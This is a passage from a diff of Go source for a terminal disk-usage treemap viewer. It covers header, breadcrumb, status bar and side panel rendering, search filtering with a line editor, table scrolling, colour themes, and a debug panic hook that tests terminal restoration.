m.hits = append(m.hits, hit{treemap.Rect{X: x, Y: r.Y, W: w, H: 1}, func(m *Model, _ bool) tea.Cmd { m.setView(idx); return nil }})
x += w
}
// Right-aligned chips.
var chips []struct {
s string
bg Color
}
add := func(s string, bg Color) {
chips = append(chips, struct {
s string
bg Color
}{s, bg})
}
if m.opts.ReadOnly {
add("READ ONLY", t.Err)
}
if m.snapshot {
add("SNAPSHOT", t.Accent)
}
if m.opts.Diff != nil {
add("COMPARE", t.DiffNew)
}
if m.search.query != nil {
add("FILTER", t.Warn)
}
if len(m.tree.Stats.Excludes) > 0 {
add(fmt.Sprintf("EXCL %d", len(m.tree.Stats.Excludes)), t.Faint)
}
add(strings.ToUpper(m.sizeMode.String()), t.Faint)
rx := r.X + r.W
for i := len(chips) - 1; i >= 0; i-- {
s := " " + chips[i].s + " "
w := textutil.Width(s)
if rx-w-1 < x {
break
}
rx -= w
cv.Text(rx, r.Y, s, w, Style{FG: t.textOn(chips[i].bg), BG: chips[i].bg, Attr: Bold | m.monoRev()})
rx--
}
}
func (m *Model) monoRev() Attr {
if m.theme.Mono {
return Reverse
}
return 0
}
// paintCrumbs draws "/ › home › andy" breadcrumbs, truncated from the left,
// with the zoom root's size on the right.
func (m *Model) paintCrumbs(cv *Canvas, r treemap.Rect) {
t := m.theme
cv.Fill(r, " ", t.header())
tr := m.tree
z := tr.Node(m.zoom)
size := m.sizeOf(m.zoom)
right := " " + textutil.Size(size)
if root := m.sizeOf(tr.Root()); m.zoom != tr.Root() && root > 0 {
right += " " + textutil.Percent(size, root) + " of scan"
}
if m.search.result != nil {
right += fmt.Sprintf(" (%s matches)", textutil.Count(m.search.result.Count))
}
if z.IsDir() {
right += fmt.Sprintf(" %s files", textutil.Count(int64(z.Files)))
}
right += " "
rw := textutil.Width(right)
if rw > r.W/2 {
right = " " + textutil.SizeCompact(size) + " "
rw = textutil.Width(right)
}
cv.TextRight(r.X, r.Y, r.W, right, Style{FG: t.HeaderFg, BG: t.HeaderBg, Attr: Bold})
sep := " › "
if t.ASCII {
sep = " > "
}
chain := tr.Ancestors(m.zoom)
type seg struct {
id inventory.NodeID
s string
}
segs := make([]seg, len(chain))
for i, id := range chain {
segs[i] = seg{id, textutil.Sanitize(tr.Node(id).Name)}
}
avail := r.W - rw - 2
// Drop leading segments until the rest fits; keep at least the last.
total := func(from int) int {
w := 0
for i := from; i < len(segs); i++ {
w += textutil.Width(segs[i].s)
if i > from {
w += textutil.Width(sep)
}
}
if from > 0 {
w += textutil.Width("…" + sep)
}
return w
}
from := 0
for from < len(segs)-1 && total(from) > avail {
from++
}
x := r.X + 1
if from > 0 {
x += cv.Text(x, r.Y, "…"+sep, avail, Style{FG: t.Muted, BG: t.HeaderBg})
}
for i := from; i < len(segs); i++ {
if i > from {
x += cv.Text(x, r.Y, sep, r.X+1+avail-x, Style{FG: t.Faint, BG: t.HeaderBg})
}
st := Style{FG: t.Muted, BG: t.HeaderBg}
if i == len(segs)-1 {
st = Style{FG: t.Fg, BG: t.HeaderBg, Attr: Bold}
}
s := segs[i].s
if i == len(segs)-1 {
s = textutil.TruncateLeft(s, max(1, r.X+1+avail-x))
}
w := cv.Text(x, r.Y, s, r.X+1+avail-x, st)
id := segs[i].id
m.hits = append(m.hits, hit{treemap.Rect{X: x, Y: r.Y, W: w, H: 1}, func(m *Model, _ bool) tea.Cmd { m.zoomTo(id); return nil }})
x += w
}
}
// paintInfoLine describes the selection (or shows the search editor).
func (m *Model) paintInfoLine(cv *Canvas, r treemap.Rect) {
t := m.theme
cv.Fill(r, " ", t.panel())
if m.search.editing {
m.paintSearch(cv, r)
return
}
if m.search.query != nil {
m.paintFilterSummary(cv, r)
return
}
cv.Text(r.X+1, r.Y, m.describeSelection(), r.W-2, t.panel())
}
func (m *Model) describeSelection() string {
id := m.selectedNode()
tr := m.tree
if isGroup(m.sel) {
if g, ok := m.groupInfo(m.sel); ok {
return fmt.Sprintf("▸ %s smaller items · %s · %s of %s · Enter lists them",
textutil.Count(int64(len(g.ids))), textutil.Size(g.size), textutil.Percent(g.size, m.sizeOf(m.zoom)),
textutil.Sanitize(tr.Node(m.zoom).Name))
}
}
if id == inventory.NoNode {
return "Nothing selected"
}
n := tr.Node(id)
parts := []string{"▸ " + textutil.Sanitize(n.Name)}
parts = append(parts, textutil.Size(m.sizeOf(id)))
if p := n.Parent; p != inventory.NoNode {
parts = append(parts, textutil.Percent(m.sizeOf(id), m.sizeOf(p))+" of parent")
}
if n.IsDir() {
parts = append(parts, textutil.Count(int64(n.Files))+" files", textutil.Count(int64(n.Dirs))+" dirs")
if n.Flags&inventory.FlagScanned == 0 && m.scanning {
parts = append(parts, "scanning…")
}
} else {
parts = append(parts, kindLabel(tr, n))
}
if n.MTime > 0 {
parts = append(parts, "modified "+time.Unix(0, n.MTime).Format("2006-01-02"))
}
if n.Errors > 0 {
parts = append(parts, fmt.Sprintf("%d errors", n.Errors))
}
if m.opts.Diff != nil {
parts = append(parts, textutil.SignedSize(m.opts.Diff.Delta(id, m.sizeMode))+" vs old snapshot")
}
return strings.Join(parts, " · ")
}
func kindLabel(tr *inventory.Tree, n *inventory.Node) string {
switch n.Kind {
case inventory.KindFile:
return n.Cat.String()
case inventory.KindSymlink:
return "symlink"
}
return n.Kind.String()
}
var spinner = []string{"⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"}
// paintStatus draws the live status bar.
func (m *Model) paintStatus(cv *Canvas, r treemap.Rect, class sizeClass) {
t := m.theme
cv.Fill(r, " ", t.status())
help := " ? help "
if class == small {
help = " ? "
}
hw := cv.Text(r.X+r.W-textutil.Width(help), r.Y, help, r.W, Style{FG: t.Muted, BG: t.StatusBg})
avail := r.W - hw - 1
if m.toast != "" {
cv.Text(r.X+1, r.Y, m.toast, avail-1, m.toastStyle)
return
}
st := &m.tree.Stats
root := m.tree.Node(m.tree.Root())
files := st.Files + st.Symlinks + st.Others
var parts []struct {
s string
fg Color
}
add := func(s string, fg Color) {
parts = append(parts, struct {
s string
fg Color
}{s, fg})
}
switch {
case m.scanning:
frame := spinner[int(time.Now().UnixMilli()/100)%len(spinner)]
if t.ASCII {
frame = "*"
}
add(frame+" scanning", t.Accent)
case st.Cancelled:
add("✗ cancelled", t.Warn)
case m.snapshot:
add("◉ snapshot", t.Accent)
default:
add("✓ complete", t.OK)
}
add(textutil.Count(files)+" files", t.StatusFg)
add(textutil.Size(root.Total(m.sizeMode)), t.StatusFg)
if m.scanning {
el := st.Elapsed()
p := m.scanner.Progress()
add(textutil.Count(int64(float64(p.Entries)/max(el.Seconds(), 0.001)))+"/s", t.StatusFg)
if class != small {
add(fmt.Sprintf("%d workers", p.Workers), t.Muted)
add(fmt.Sprintf("queue %s", textutil.Count(p.Pending)), t.Muted)
}
add(textutil.Duration(el), t.Muted)
} else if !m.snapshot && class != small {
add(textutil.Duration(st.Elapsed()), t.Muted)
}
if e := st.TotalErrors(); e > 0 {
add(fmt.Sprintf("%s errors", textutil.Count(e)), t.Err)
}
if st.Excluded > 0 {
add(fmt.Sprintf("%s excluded", textutil.Count(st.Excluded)), t.Warn)
}
if st.Incomplete() && !m.scanning && class != small {
add("totals incomplete", t.Warn)
}
x := r.X + 1
for i, p := range parts {
s := p.s
if i > 0 {
s = " " + s
}
if x+textutil.Width(s) > r.X+avail {
break
}
st := Style{FG: p.fg, BG: t.StatusBg}
if i == 0 {
st.Attr = Bold
}
x += cv.Text(x, r.Y, s, avail-x, st)
}
}
-72
View File
@@ -1,72 +0,0 @@
package tui
import (
"context"
"fmt"
"os"
"runtime/debug"
"time"
tea "charm.land/bubbletea/v2"
"github.com/charmbracelet/colorprofile"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/scan"
"github.com/andydixon/mapsize/internal/snapshot"
"github.com/andydixon/mapsize/internal/textutil"
)
var profiles = map[string]colorprofile.Profile{
"truecolor": colorprofile.TrueColor, "24bit": colorprofile.TrueColor,
"256": colorprofile.ANSI256, "16": colorprofile.ANSI, "none": colorprofile.ASCII,
}
func saveFile(path string, t *inventory.Tree) error { return snapshot.SaveFile(path, t) }
// Run starts the interactive UI. The terminal is restored on every exit
// path: normal quit, Ctrl+C, errors and panics (Bubble Tea recovers panics
// in Update/View; scanner goroutine panics are routed here via
// scan.OnPanic and reported after the terminal is restored).
func Run(opts Options) error {
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
s, t, err := opts.Start(ctx)
if err != nil {
return err
}
m := newModel(opts, s, t, cancel)
var popts []tea.ProgramOption
if p, ok := profiles[opts.Color]; ok {
m.profile, m.forced = p, true
popts = append(popts, tea.WithColorProfile(p))
} else if opts.Color != "" && opts.Color != "auto" {
return fmt.Errorf("invalid --color %q (auto, truecolor, 256, 16, none)", opts.Color)
}
p := tea.NewProgram(m, popts...)
prev := scan.OnPanic
scan.OnPanic = func(v any, stack []byte) {
p.Send(fatalMsg{v, stack})
select {} // park the broken goroutine; the program is quitting
}
defer func() { scan.OnPanic = prev }()
if debugPanic == "scanner" {
go func() {
time.Sleep(500 * time.Millisecond)
defer func() {
if v := recover(); v != nil {
scan.OnPanic(v, debug.Stack())
}
}()
panic("MAPSIZE_DEBUG_PANIC=scanner: deliberate panic to test terminal restoration")
}()
}
_, err = p.Run()
cancel()
if m.fatal != nil {
fmt.Fprintf(os.Stderr, "mapsize: internal error in scanner: %s\n\n%s\n",
textutil.Sanitize(fmt.Sprint(m.fatal.v)), m.fatal.stack)
return fmt.Errorf("scanner crashed")
}
return err
}
-260
View File
@@ -1,260 +0,0 @@
package tui
import (
"context"
"fmt"
"time"
tea "charm.land/bubbletea/v2"
"github.com/andydixon/mapsize/internal/filter"
"github.com/andydixon/mapsize/internal/textutil"
"github.com/andydixon/mapsize/internal/treemap"
)
// lineEditor is a minimal single-line text editor.
type lineEditor struct {
buf []rune
cur int
}
func (e *lineEditor) String() string { return string(e.buf) }
func (e *lineEditor) set(s string) { e.buf, e.cur = []rune(s), len([]rune(s)) }
// key applies an editing key; it reports whether the text changed.
func (e *lineEditor) key(msg tea.KeyPressMsg) (changed, handled bool) {
switch msg.Keystroke() {
case "left", "ctrl+b":
e.cur = max(0, e.cur-1)
case "right", "ctrl+f":
e.cur = min(len(e.buf), e.cur+1)
case "home", "ctrl+a":
e.cur = 0
case "end", "ctrl+e":
e.cur = len(e.buf)
case "backspace", "ctrl+h":
if e.cur > 0 {
e.buf = append(e.buf[:e.cur-1], e.buf[e.cur:]...)
e.cur--
return true, true
}
case "delete", "ctrl+d":
if e.cur < len(e.buf) {
e.buf = append(e.buf[:e.cur], e.buf[e.cur+1:]...)
return true, true
}
case "ctrl+u":
e.buf, e.cur = e.buf[e.cur:], 0
return true, true
case "ctrl+k":
e.buf = e.buf[:e.cur]
return true, true
case "ctrl+w", "alt+backspace":
i := e.cur
for i > 0 && e.buf[i-1] == ' ' {
i--
}
for i > 0 && e.buf[i-1] != ' ' {
i--
}
e.buf = append(e.buf[:i], e.buf[e.cur:]...)
e.cur = i
return true, true
default:
txt := msg.Text
if txt == "" || msg.Mod&(tea.ModCtrl|tea.ModAlt) != 0 {
return false, false
}
var rs []rune
for _, r := range txt {
if r >= 0x20 && r != 0x7f {
rs = append(rs, r)
}
}
if len(rs) == 0 || len(e.buf)+len(rs) > 1024 {
return false, true
}
e.buf = append(e.buf[:e.cur], append(rs, e.buf[e.cur:]...)...)
e.cur += len(rs)
return true, true
}
return false, true
}
type searchState struct {
editing bool
ed lineEditor
query *filter.Query
result *filter.Result
err string
gen int
busy bool
appliedAt time.Time
cancel context.CancelFunc
}
func (s *searchState) begin() {
s.editing = true
if s.query != nil {
s.ed.set(s.query.String())
}
}
func (m *Model) searchKey(msg tea.KeyPressMsg) tea.Cmd {
s := &m.search
switch msg.Keystroke() {
case "esc":
s.editing = false
m.clearFilter()
return nil
case "enter":
s.editing = false
if s.err != "" {
return m.warn("Invalid query: " + s.err)
}
return nil
}
changed, _ := s.ed.key(msg)
if changed {
return m.queryChanged()
}
return nil
}
// queryChanged parses the editor contents and schedules a debounced apply.
func (m *Model) queryChanged() tea.Cmd {
s := &m.search
s.gen++
text := s.ed.String()
if text == "" {
s.err = ""
m.dropFilter()
return nil
}
q, err := filter.Parse(text, time.Now())
if err != nil {
s.err = err.Error()
return nil
}
s.err = ""
s.query = q
gen := s.gen
return tea.Tick(120*time.Millisecond, func(time.Time) tea.Msg { return filterDebounceMsg{gen} })
}
// setFilter replaces the filter with q and applies it immediately.
func (m *Model) setFilter(q string) tea.Cmd {
m.search.ed.set(q)
m.search.editing = false
m.queryChanged()
if m.search.err != "" {
return m.warn("Invalid query: " + m.search.err)
}
return m.applyFilter()
}
// applyFilter evaluates the current query in the background. The tree is
// read-locked by the worker; stale results are discarded by generation.
func (m *Model) applyFilter() tea.Cmd {
s := &m.search
if s.query == nil {
return nil
}
if s.cancel != nil {
s.cancel()
}
ctx, cancel := context.WithCancel(context.Background())
s.cancel = cancel
s.busy = true
s.appliedAt = time.Now()
t, q, mode, gen := m.tree, s.query, m.sizeMode, s.gen
return func() tea.Msg {
t.RLock()
res, err := filter.Apply(ctx, t, q, mode)
t.RUnlock()
return filterMsg{gen: gen, res: res, err: err}
}
}
func (m *Model) filterResult(msg filterMsg) tea.Cmd {
s := &m.search
if msg.gen != s.gen || s.query == nil {
return nil
}
s.busy = false
if msg.err != nil {
return nil
}
s.result = msg.res
m.invalidate()
return nil
}
// dropFilter removes the active filter but keeps the editor open.
func (m *Model) dropFilter() {
s := &m.search
if s.cancel != nil {
s.cancel()
}
s.query, s.result, s.busy = nil, nil, false
m.invalidate()
}
func (m *Model) clearFilter() {
m.dropFilter()
m.search.ed.set("")
m.search.err = ""
m.search.gen++
}
func (m *Model) paintSearch(cv *Canvas, r treemap.Rect) {
t := m.theme
s := &m.search
st := Style{FG: t.Fg, BG: t.PanelBg}
cv.Fill(r, " ", st)
x := r.X + 1
x += cv.Text(x, r.Y, "/ ", 2, Style{FG: t.Accent, BG: t.PanelBg, Attr: Bold})
status, statusSt := "", Style{FG: t.Muted, BG: t.PanelBg}
switch {
case s.err != "":
status, statusSt.FG = "✗ "+s.err, t.Err
case s.busy:
status = "filtering…"
case s.result != nil:
status = fmt.Sprintf("%s matches · %s", textutil.Count(s.result.Count), textutil.Size(s.result.Total))
case len(s.ed.buf) == 0:
status = "name, *.iso, size > 1GB, ext IN (iso,vmdk), age > 365d … Enter keep · Esc clear"
}
sw := min(textutil.Width(status), r.W/2)
avail := r.W - (x - r.X) - sw - 3
// Scroll the text so the cursor stays visible.
text := s.ed.buf
start := 0
if s.ed.cur > avail-1 {
start = s.ed.cur - avail + 1
}
vis := string(text[start:min(len(text), start+avail)])
cv.Text(x, r.Y, textutil.Sanitize(vis), avail, st)
cx := x + textutil.Width(textutil.Sanitize(string(text[start:s.ed.cur])))
under := " "
if s.ed.cur < len(text) {
under = textutil.Sanitize(string(text[s.ed.cur]))
}
cv.Text(cx, r.Y, under, 2, Style{FG: t.PanelBg, BG: t.Fg, Attr: m.monoRev()})
cv.TextRight(r.X, r.Y, r.W-1, textutil.Truncate(status, sw), statusSt)
}
func (m *Model) paintFilterSummary(cv *Canvas, r treemap.Rect) {
t := m.theme
s := &m.search
x := r.X + 1
x += cv.Text(x, r.Y, " FILTER ", 8, Style{FG: t.textOn(t.Warn), BG: t.Warn, Attr: Bold | m.monoRev()})
x += cv.Text(x+1, r.Y, textutil.Sanitize(s.query.String()), r.W/2, Style{FG: t.Fg, BG: t.PanelBg, Attr: Bold}) + 1
info := "filtering…"
if s.result != nil && !s.busy {
info = fmt.Sprintf("%s matches · %s of %s · / edit · Esc clear", textutil.Count(s.result.Count),
textutil.Size(s.result.Total), textutil.Size(m.tree.Node(0).Total(m.sizeMode)))
}
cv.Text(x+2, r.Y, info, r.X+r.W-x-3, Style{FG: t.Muted, BG: t.PanelBg})
}
-118
View File
@@ -1,118 +0,0 @@
package tui
import (
"fmt"
"sort"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/textutil"
"github.com/andydixon/mapsize/internal/treemap"
)
// paintSide draws the large-layout side panel: directory summary, category
// breakdown and the selected item.
func (m *Model) paintSide(cv *Canvas, r treemap.Rect) {
t := m.theme
ps := t.panel()
cv.Fill(r, " ", ps)
cv.Fill(treemap.Rect{X: r.X + r.W - 1, Y: r.Y, W: 1, H: r.H}, "│", Style{FG: t.Faint, BG: t.PanelBg})
w := r.W - 3
x := r.X + 1
y := r.Y + 1
end := r.Y + r.H
head := func(s string) {
if y < end {
cv.Text(x, y, s, w, Style{FG: t.Accent, BG: t.PanelBg, Attr: Bold})
y++
}
}
kvl := func(k, v string, vs Style) {
if y < end {
cv.Text(x, y, k, w, Style{FG: t.Muted, BG: t.PanelBg})
cv.TextRight(x, y, w, v, vs)
y++
}
}
val := Style{FG: t.Fg, BG: t.PanelBg, Attr: Bold}
tr := m.tree
z := tr.Node(m.zoom)
head("DIRECTORY")
for _, l := range wrap(textutil.Sanitize(z.Name), w) {
if y < end {
cv.Text(x, y, l, w, Style{FG: t.Fg, BG: t.PanelBg, Attr: Bold})
y++
}
}
y++
kvl("Size", textutil.Size(m.sizeOf(m.zoom)), val)
kvl("Logical", textutil.Size(z.TotSize), Style{FG: t.Fg, BG: t.PanelBg})
kvl("Allocated", textutil.Size(z.TotAlloc), Style{FG: t.Fg, BG: t.PanelBg})
kvl("Files", textutil.Count(int64(z.Files)), Style{FG: t.Fg, BG: t.PanelBg})
kvl("Directories", textutil.Count(int64(z.Dirs)), Style{FG: t.Fg, BG: t.PanelBg})
if z.Errors > 0 {
kvl("Errors", textutil.Count(int64(z.Errors)), Style{FG: t.Err, BG: t.PanelBg, Attr: Bold})
}
y++
// Category breakdown with proportional bars.
if cs := tr.CatSizes(m.zoom); cs != nil {
head("CATEGORIES")
type cat struct {
c inventory.Category
v int64
}
var cats []cat
var total int64
for i, v := range cs {
if v > 0 {
cats = append(cats, cat{inventory.Category(i), v})
total += v
}
}
sort.Slice(cats, func(i, j int) bool { return cats[i].v > cats[j].v })
for _, c := range cats {
if y >= end-8 {
break
}
col := t.Cat[c.c]
sw := "██ "
if t.Mono || t.ASCII {
sw = " "
}
cv.Text(x, y, sw, 3, Style{FG: col, BG: t.PanelBg})
cv.Text(x+3, y, c.c.String(), w-3, Style{FG: t.Fg, BG: t.PanelBg})
cv.TextRight(x, y, w, textutil.Percent(c.v, total), Style{FG: t.Muted, BG: t.PanelBg})
y++
m.paintBar(cv, x+3, y, w-3, float64(c.v)/float64(cats[0].v), col, false)
y++
}
y++
}
// Selected item.
if y < end-4 {
head("SELECTED")
desc := []string{}
if isGroup(m.sel) {
if g, ok := m.groupInfo(m.sel); ok {
desc = append(desc, fmt.Sprintf("%s smaller items", textutil.Count(int64(len(g.ids)))), textutil.Size(g.size))
}
} else if id := m.selectedNode(); id != inventory.NoNode {
n := tr.Node(id)
desc = append(desc, wrap(textutil.Sanitize(n.Name), w)...)
desc = append(desc, textutil.Size(m.sizeOf(id))+" · "+textutil.Percent(m.sizeOf(id), m.sizeOf(m.zoom)))
if n.IsDir() {
desc = append(desc, textutil.Count(int64(n.Files))+" files")
} else {
desc = append(desc, kindLabel(tr, n))
}
}
for _, d := range desc {
if y < end {
cv.Text(x, y, d, w, Style{FG: t.Fg, BG: t.PanelBg})
y++
}
}
}
}
-222
View File
@@ -1,222 +0,0 @@
package tui
import (
tea "charm.land/bubbletea/v2"
"github.com/andydixon/mapsize/internal/textutil"
"github.com/andydixon/mapsize/internal/treemap"
)
// column describes one table column.
type column struct {
title string
width int // 0 = flexible (takes the remaining space)
right bool
clipLeft bool // truncate from the left (paths: the tail matters)
}
// tableRow is one rendered row: cell strings plus optional per-cell styles.
type tableRow struct {
cells []string
styles []*Style // nil = default
bar float64 // 0..1 for an optional bar column (-1 = none)
barCol Color
}
// table is a scrollable list with a cursor, shared by the list-style views.
type table struct {
cursor, offset int
height int // rows visible in the last paint
}
// scroll moves the cursor three rows for a mouse wheel step.
func (tb *table) scroll(up bool, n int) {
if up {
tb.move(-3, n)
} else {
tb.move(3, n)
}
}
func (tb *table) move(d, n int) {
if n == 0 {
tb.cursor = 0
return
}
tb.cursor = min(max(tb.cursor+d, 0), n-1)
}
// key handles navigation keys common to all tables.
func (tb *table) key(k string, n int) bool {
page := max(tb.height-1, 1)
switch k {
case "up", "k":
tb.move(-1, n)
case "down", "j":
tb.move(1, n)
case "pgup", "ctrl+b":
tb.move(-page, n)
case "pgdown", "ctrl+f":
tb.move(page, n)
case "end", "G":
tb.move(n, n)
case "g":
tb.cursor = 0
default:
return false
}
return true
}
func (tb *table) paint(m *Model, cv *Canvas, r treemap.Rect, cols []column, rows []tableRow, title string) {
t := m.theme
cv.Fill(r, " ", t.base())
if r.H < 3 {
return
}
y := r.Y
if title != "" {
cv.Text(r.X+1, y, title, r.W-2, Style{FG: t.Accent, BG: t.Bg, Attr: Bold})
y++
}
// Resolve flexible width.
fixed := 0
for _, c := range cols {
fixed += c.width + 1
}
flex := max(r.W-2-fixed, 8)
x := r.X + 1
hdr := Style{FG: t.Muted, BG: t.Bg, Attr: Bold}
for _, c := range cols {
w := c.width
if w == 0 {
w = flex
}
s := c.title
if c.right {
s = textutil.PadLeft(s, w)
}
cv.Text(x, y, s, w, hdr)
x += w + 1
}
y++
cv.HLine(r.X+1, y, r.W-2, "─", Style{FG: t.Faint, BG: t.Bg})
y++
tb.height = r.Y + r.H - y
if tb.cursor >= len(rows) {
tb.cursor = max(len(rows)-1, 0)
}
if tb.cursor < tb.offset {
tb.offset = tb.cursor
}
if tb.cursor >= tb.offset+tb.height {
tb.offset = tb.cursor - tb.height + 1
}
tb.offset = max(0, min(tb.offset, len(rows)-tb.height))
for i := tb.offset; i < len(rows) && y < r.Y+r.H; i++ {
row := rows[i]
sel := i == tb.cursor
base := t.base()
if sel {
base = Style{FG: t.textOn(t.Sel), BG: t.Sel, Attr: Bold | m.monoRev()}
cv.Fill(treemap.Rect{X: r.X, Y: y, W: r.W, H: 1}, " ", base)
}
x := r.X + 1
for ci, c := range cols {
w := c.width
if w == 0 {
w = flex
}
s := ""
if ci < len(row.cells) {
s = row.cells[ci]
}
st := base
if !sel && ci < len(row.styles) && row.styles[ci] != nil {
st = *row.styles[ci]
}
if c.title == "" && row.bar >= 0 {
m.paintBar(cv, x, y, w, row.bar, row.barCol, sel)
} else if c.right {
cv.Text(x, y, textutil.PadLeft(s, w), w, st)
} else if c.clipLeft {
cv.Text(x, y, textutil.TruncateLeft(s, w), w, st)
} else {
cv.Text(x, y, textutil.Truncate(s, w), w, st)
}
x += w + 1
}
idx := i
m.hits = append(m.hits, hit{treemap.Rect{X: r.X, Y: y, W: r.W, H: 1}, func(m *Model, double bool) tea.Cmd {
tb.cursor = idx
if double {
return m.handleKeyName("enter")
}
return nil
}})
y++
}
if len(rows) == 0 {
cv.TextCentered(r.X, r.Y+r.H/2, r.W, "Nothing to show", t.muted())
}
if len(rows) > tb.height && tb.height > 0 {
pos := textutil.Count(int64(tb.cursor+1)) + "/" + textutil.Count(int64(len(rows)))
cv.TextRight(r.X, r.Y, r.W-1, pos, t.muted())
}
}
// paintBar draws a proportional bar with eighth-block precision.
func (m *Model) paintBar(cv *Canvas, x, y, w int, frac float64, col Color, sel bool) {
t := m.theme
if col == 0 {
col = t.Accent
}
bg := t.Bg.Mix(t.Fg, 0.08)
if sel {
bg = t.Sel.Mix(RGB(0, 0, 0), 0.25)
}
eighths := int(frac*float64(w*8) + 0.5)
parts := []string{"", "▏", "▎", "▍", "▌", "▋", "▊", "▉"}
for i := 0; i < w; i++ {
ch := " "
switch {
case eighths >= 8:
ch = "█"
case eighths > 0:
ch = parts[eighths]
}
if t.ASCII {
ch = " "
if eighths >= 4 {
ch = "#"
}
}
eighths -= 8
st := Style{FG: col, BG: bg}
if t.Mono {
st = Style{}
}
cv.Text(x+i, y, ch, 1, st)
}
}
// handleKeyName lets mouse actions reuse key handling (lock already held).
func (m *Model) handleKeyName(k string) tea.Cmd {
if handled, cmd := m.views[m.view].key(m, k); handled {
return cmd
}
switch k {
case "enter":
return m.inspectSelection()
case "space":
return m.zoomIntoSelection()
}
return nil
}
func plural(n int, s string) string {
if n == 1 {
return "1 " + s
}
return textutil.Count(int64(n)) + " " + s + "s"
}
-165
View File
@@ -1,165 +0,0 @@
package tui
import (
"sort"
"strings"
"github.com/andydixon/mapsize/internal/config"
"github.com/andydixon/mapsize/internal/inventory"
)
// Theme holds every colour the UI uses. Nothing else in the TUI hard-codes
// colours.
type Theme struct {
Name string
Mono bool // no colour: rely on attributes and glyphs
ASCII bool // no box-drawing glyphs
Bg, Fg, Muted, Faint Color
Accent, Sel Color
HeaderBg, HeaderFg Color
StatusBg, StatusFg Color
PanelBg Color
Warn, Err, OK Color
Group Color
EmptyDir Color
Cat [inventory.NumCategories]Color
DiffGrow, DiffShrink Color
DiffNew, DiffSame Color
Ext map[string]Color
}
var themes = map[string]func() *Theme{
"default": defaultTheme,
"dark": darkTheme,
"high-contrast": highContrastTheme,
"mono": monoTheme,
}
// ThemeNames lists built-in themes.
func ThemeNames() []string {
var out []string
for k := range themes {
out = append(out, k)
}
sort.Strings(out)
return out
}
func defaultTheme() *Theme {
return &Theme{
Name: "default",
Bg: RGB(0x16, 0x18, 0x1d), Fg: RGB(0xdc, 0xdf, 0xe4), Muted: RGB(0x8a, 0x91, 0x9c), Faint: RGB(0x4a, 0x50, 0x5a),
Accent: RGB(0x61, 0xaf, 0xef), Sel: RGB(0xff, 0xd8, 0x66),
HeaderBg: RGB(0x21, 0x25, 0x2b), HeaderFg: RGB(0xdc, 0xdf, 0xe4),
StatusBg: RGB(0x2c, 0x31, 0x3a), StatusFg: RGB(0xc8, 0xcc, 0xd4),
PanelBg: RGB(0x1c, 0x1f, 0x25),
Warn: RGB(0xe5, 0xc0, 0x7b), Err: RGB(0xe0, 0x6c, 0x75), OK: RGB(0x98, 0xc3, 0x79),
Group: RGB(0x5c, 0x63, 0x70), EmptyDir: RGB(0x4b, 0x52, 0x63),
Cat: [inventory.NumCategories]Color{
inventory.CatOther: RGB(0x7f, 0x8c, 0x9d),
inventory.CatImage: RGB(0xe5, 0xc0, 0x7b),
inventory.CatVideo: RGB(0xe0, 0x6c, 0x75),
inventory.CatAudio: RGB(0xd1, 0x9a, 0x66),
inventory.CatArchive: RGB(0xc6, 0x78, 0xdd),
inventory.CatDiskImage: RGB(0x8e, 0x7c, 0xf0),
inventory.CatDatabase: RGB(0x56, 0xb6, 0xc2),
inventory.CatCode: RGB(0x98, 0xc3, 0x79),
inventory.CatDocument: RGB(0x61, 0xaf, 0xef),
inventory.CatExecutable: RGB(0xbe, 0x50, 0x46),
inventory.CatLog: RGB(0xa3, 0xa8, 0x6a),
inventory.CatCache: RGB(0x6b, 0x77, 0x88),
},
DiffGrow: RGB(0xf0, 0x5a, 0x5a), DiffShrink: RGB(0x5a, 0xd0, 0x7a),
DiffNew: RGB(0x4f, 0xa8, 0xff), DiffSame: RGB(0x50, 0x56, 0x60),
}
}
func darkTheme() *Theme {
t := defaultTheme()
t.Name = "dark"
t.Bg, t.PanelBg = RGB(0, 0, 0), RGB(0x0c, 0x0c, 0x0e)
t.HeaderBg, t.StatusBg = RGB(0x12, 0x12, 0x16), RGB(0x1a, 0x1a, 0x20)
for i, c := range t.Cat {
t.Cat[i] = c.Mix(RGB(0, 0, 0), 0.2)
}
return t
}
func highContrastTheme() *Theme {
t := defaultTheme()
t.Name = "high-contrast"
t.Bg, t.Fg, t.Muted = RGB(0, 0, 0), RGB(0xff, 0xff, 0xff), RGB(0xd0, 0xd0, 0xd0)
t.HeaderBg, t.StatusBg, t.PanelBg = RGB(0, 0, 0), RGB(0x20, 0x20, 0x20), RGB(0, 0, 0)
t.Sel, t.Accent = RGB(0xff, 0xff, 0x00), RGB(0x00, 0xff, 0xff)
t.Cat = [inventory.NumCategories]Color{
RGB(0xb0, 0xb0, 0xb0), RGB(0xff, 0xd7, 0x00), RGB(0xff, 0x30, 0x30), RGB(0xff, 0x8c, 0x00),
RGB(0xff, 0x00, 0xff), RGB(0x9b, 0x7b, 0xff), RGB(0x00, 0xe5, 0xff), RGB(0x00, 0xff, 0x00),
RGB(0x40, 0x9c, 0xff), RGB(0xff, 0x55, 0x55), RGB(0xc8, 0xff, 0x00), RGB(0x90, 0x90, 0xa0),
}
return t
}
func monoTheme() *Theme {
return &Theme{Name: "mono", Mono: true}
}
// LoadTheme returns a built-in theme with user overrides applied.
func LoadTheme(name string, s config.Settings) *Theme {
f, ok := themes[strings.ToLower(name)]
if !ok {
f = defaultTheme
}
t := f()
if t.Mono {
return t
}
for k, v := range s.CategoryColors {
if c, ok := inventory.ParseCategory(k); ok {
if col, ok := Hex(v); ok {
t.Cat[c] = col
}
}
}
for k, v := range s.ExtensionColors {
if col, ok := Hex(v); ok {
if t.Ext == nil {
t.Ext = map[string]Color{}
}
t.Ext[strings.ToLower(strings.TrimPrefix(k, "."))] = col
}
}
return t
}
// Styles derived from the theme.
func (t *Theme) base() Style { return Style{FG: t.Fg, BG: t.Bg} }
func (t *Theme) muted() Style { return Style{FG: t.Muted, BG: t.Bg} }
func (t *Theme) header() Style { return Style{FG: t.HeaderFg, BG: t.HeaderBg} }
func (t *Theme) status() Style { return Style{FG: t.StatusFg, BG: t.StatusBg} }
func (t *Theme) panel() Style { return Style{FG: t.Fg, BG: t.PanelBg} }
func (t *Theme) box() BoxChars {
if t.ASCII {
return BoxASCII
}
return BoxLight
}
func (t *Theme) selBox() BoxChars {
if t.ASCII {
return BoxASCIISel
}
return BoxDouble
}
// textOn picks a readable text colour for a background.
